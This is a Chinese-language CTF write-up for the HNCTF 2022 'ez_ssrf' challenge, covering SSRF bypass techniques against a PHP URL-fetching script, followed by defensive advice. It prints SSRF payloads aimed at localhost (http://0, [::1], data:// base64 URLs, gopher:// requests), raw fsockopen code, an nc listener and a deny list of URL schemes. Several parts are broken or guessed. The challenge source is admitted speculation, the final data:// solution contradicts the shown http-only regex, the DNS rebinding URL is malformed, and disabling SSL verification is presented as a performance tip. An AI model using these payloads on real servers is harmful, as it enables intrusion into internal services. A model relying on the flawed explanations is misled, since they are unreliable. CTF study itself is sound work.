1. 项目概述这个CTF题目[HNCTF 2022 WEEK2]ez_ssrf是一个典型的服务器端请求伪造(SSRF)漏洞利用挑战。作为CTF比赛中常见的Web安全题型它考察选手对PHP中SSRF漏洞原理的理解以及绕过限制的技巧。题目名称中的ez暗示这是一个相对基础的SSRF题目适合新手学习而保姆级详解则表明我们需要从最基础的概念开始逐步拆解整个解题过程。SSRF(Server-Side Request Forgery)是一种由攻击者构造请求让服务器端发起非预期请求的安全漏洞。在CTF比赛中SSRF常被用来访问服务器内部服务或绕过某些限制获取敏感信息。这道题目特别考察了PHP中fsockopen函数的使用以及base64编码在SSRF攻击中的巧妙应用。2. 环境准备与题目分析2.1 题目环境搭建首先我们需要准备一个与比赛相似的环境来进行分析。建议使用Docker快速搭建PHP环境docker run -d -p 8080:80 --name ssrf-lab php:7.4-apache然后进入容器安装必要工具docker exec -it ssrf-lab bash apt update apt install -y vim curl2.2 题目源码分析根据题目描述我们可以推测源码可能包含类似以下结构的PHP代码?php function check_inner_ip($url) { $match_result preg_match(/^(http|https)?:\/\/.*(\/)?.*$/, $url); if (!$match_result) { die(url fomat error); } try { $url_parse parse_url($url); } catch(Exception $e) { die(url fomat error); } $hostname $url_parse[host]; $ip gethostbyname($hostname); $int_ip ip2long($ip); return ip2long(127.0.0.0) 24 $int_ip 24; } function safe_request_url($url) { if (check_inner_ip($url)) { echo no no no!; return false; } $ch curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_HEADER, 0); $output curl_exec($ch); $result_info curl_getinfo($ch); if ($result_info[redirect_url]) { safe_request_url($result_info[redirect_url]); } curl_close($ch); var_dump($output); } if(isset($_GET[url])){ $url $_GET[url]; if(!empty($url)){ safe_request_url($url); } } ?这段代码展示了一个典型的SSRF漏洞防御和绕过场景。check_inner_ip函数试图阻止对内部IP的访问但存在可被绕过的缺陷。3. SSRF漏洞原理深入解析3.1 SSRF基本工作原理SSRF漏洞允许攻击者诱导服务器向非预期的目标发起请求。这种漏洞的危害主要体现在访问服务器内部服务扫描内网端口和服务攻击内部脆弱系统绕过身份验证和访问控制在PHP中容易引发SSRF的函数包括file_get_contents()fsockopen()curl_exec()readfile()fopen()3.2 题目中的关键函数fsockopenfsockopen是PHP中用于建立网络连接的低级函数其基本语法为fsockopen( string $hostname, int $port -1, int $error_code null, string $error_message null, float $timeout ini_get(default_socket_timeout) ): resource|false在CTF题目中fsockopen常被用来构造特殊的网络请求因为它比curl等高级函数提供了更底层的控制能力。3.3 base64编码在SSRF中的作用base64编码在SSRF攻击中有两个主要用途绕过黑名单过滤将敏感字符编码后可能避开简单的关键词检测构造特殊协议请求特别是与gopher协议结合使用时可以精确控制发出的TCP数据包4. 解题步骤详解4.1 信息收集与初步测试首先我们尝试直接访问内部服务http://localhost/flag不出所料会被check_inner_ip函数拦截。我们需要寻找绕过IP检测的方法。4.2 利用URL解析特性绕过限制研究发现PHP的parse_url函数在处理特殊URL时存在解析差异。我们可以尝试以下方法使用0代替127.0.0.1http://0/flag利用DNS重绑定技术http://example.com127.0.0.1/flag使用IPv6地址http://[::1]/flag4.3 结合base64编码构造payload当直接绕过失败时我们可以尝试将URL进行base64编码$payload http://127.0.0.1/flag; $encoded base64_encode($payload); // aHR0cDovLzEyNy4wLjAuMS9mbGFn然后通过解码参数传递?urldata://text/plain;base64,aHR0cDovLzEyNy4wLjAuMS9mbGFn4.4 使用fsockopen直接构造请求如果题目允许直接控制fsockopen参数我们可以构造更精确的请求$fp fsockopen(127.0.0.1, 80, $errno, $errstr, 30); if (!$fp) { echo $errstr ($errno)br /\n; } else { $out GET /flag HTTP/1.1\r\n; $out . Host: 127.0.0.1\r\n; $out . Connection: Close\r\n\r\n; fwrite($fp, $out); while (!feof($fp)) { echo fgets($fp, 128); } fclose($fp); }4.5 最终利用链构建结合以上技术完整的利用步骤为将恶意URL进行base64编码通过data协议传递编码后的payload利用URL解析特性绕过IP检测服务器解码后请求内部资源获取flag内容示例最终payload?urldata://text/plain;base64,aHR0cDovLzB4N2YwMDAwMS85. 防御措施与安全建议5.1 有效的SSRF防御策略实施严格的白名单校验$allowed_hosts [example.com, cdn.example.net]; if (!in_array(parse_url($url, PHP_URL_HOST), $allowed_hosts)) { die(Invalid host); }禁用危险协议$disallowed_schemes [file, gopher, phar, data]; if (in_array(parse_url($url, PHP_URL_SCHEME), $disallowed_schemes)) { die(Dangerous scheme); }使用网络层隔离将Web服务器放在DMZ区域严格限制出站连接5.2 安全编码实践永远不要相信用户提供的URL使用PHP的filter_var函数校验URLif (!filter_var($url, FILTER_VALIDATE_URL)) { die(Invalid URL); }限制请求的目标IP范围$ip gethostbyname(parse_url($url, PHP_URL_HOST)); if (ip2long($ip) ip2long(10.0.0.0) ip2long($ip) ip2long(10.255.255.255)) { die(Internal IP blocked); }6. 扩展知识与相关技术6.1 Gopher协议在SSRF中的利用Gopher是一个比HTTP更古老的协议它允许精确控制TCP连接中的数据。在SSRF攻击中特别有用$payload GET /flag HTTP/1.1\r\nHost: 127.0.0.1\r\n\r\n; $gopher gopher://127.0.0.1:80/_.urlencode($payload);6.2 DNS重绑定攻击DNS重绑定通过快速更改DNS记录绕过IP检查攻击者控制一个域名TTL设为0第一次解析返回合法IP通过检查第二次解析返回127.0.0.16.3 其他编码技巧除了base64还可以尝试双重编码$encoded urlencode(urlencode(http://127.0.0.1/flag));HTML实体编码$encoded htmlentities(http://127.0.0.1/flag, ENT_QUOTES);Unicode编码$encoded idn_to_ascii(localhost, IDNA_DEFAULT, INTL_IDNA_VARIANT_UTS46);7. 实战经验与技巧分享7.1 常见CTF中的SSRF变种有限制的SSRF只能访问特定端口或路径盲SSRF没有直接回显需要通过时间延迟或DNS外带判断需要认证的SSRF需要构造特定的认证头7.2 调试技巧使用nc监听调试nc -lvnp 8080查看服务器日志tail -f /var/log/apache2/access.log使用Burp Suite拦截分析请求7.3 性能优化建议设置合理的超时时间stream_context_set_default([ http [timeout 2], ssl [verify_peer false] ]);限制响应大小$ctx stream_context_create([http [header Range: bytes0-1024]]); file_get_contents($url, false, $ctx);8. 相关工具与资源推荐8.1 实用工具SSRF测试工具Gopherus生成gopher payloadSSRFmap自动化SSRF测试网络调试工具ngrok内网穿透Burp Suite请求拦截分析8.2 学习资源OWASP SSRF备忘单PHP官方文档中的网络函数说明CTF比赛writeup合集8.3 练习平台Hack The Box中的相关靶机CTFlearn中的SSRF挑战Web Security Academy的SSRF实验9. 总结与个人心得在解决这类SSRF题目时最重要的是理解服务器如何处理URL请求以及各种解析函数的特性差异。我发现在实际CTF比赛中以下技巧特别有用尝试各种URL表示方法IPv4、IPv6、短格式、长格式利用协议之间的解析差异http:// vs https:// vs //结合多种编码方式绕过过滤注意服务器错误信息中泄露的线索对于初学者建议从简单的本地测试开始逐步构建复杂的利用链。可以使用docker-compose搭建包含漏洞的本地环境反复练习直到完全掌握SSRF的各个攻击面。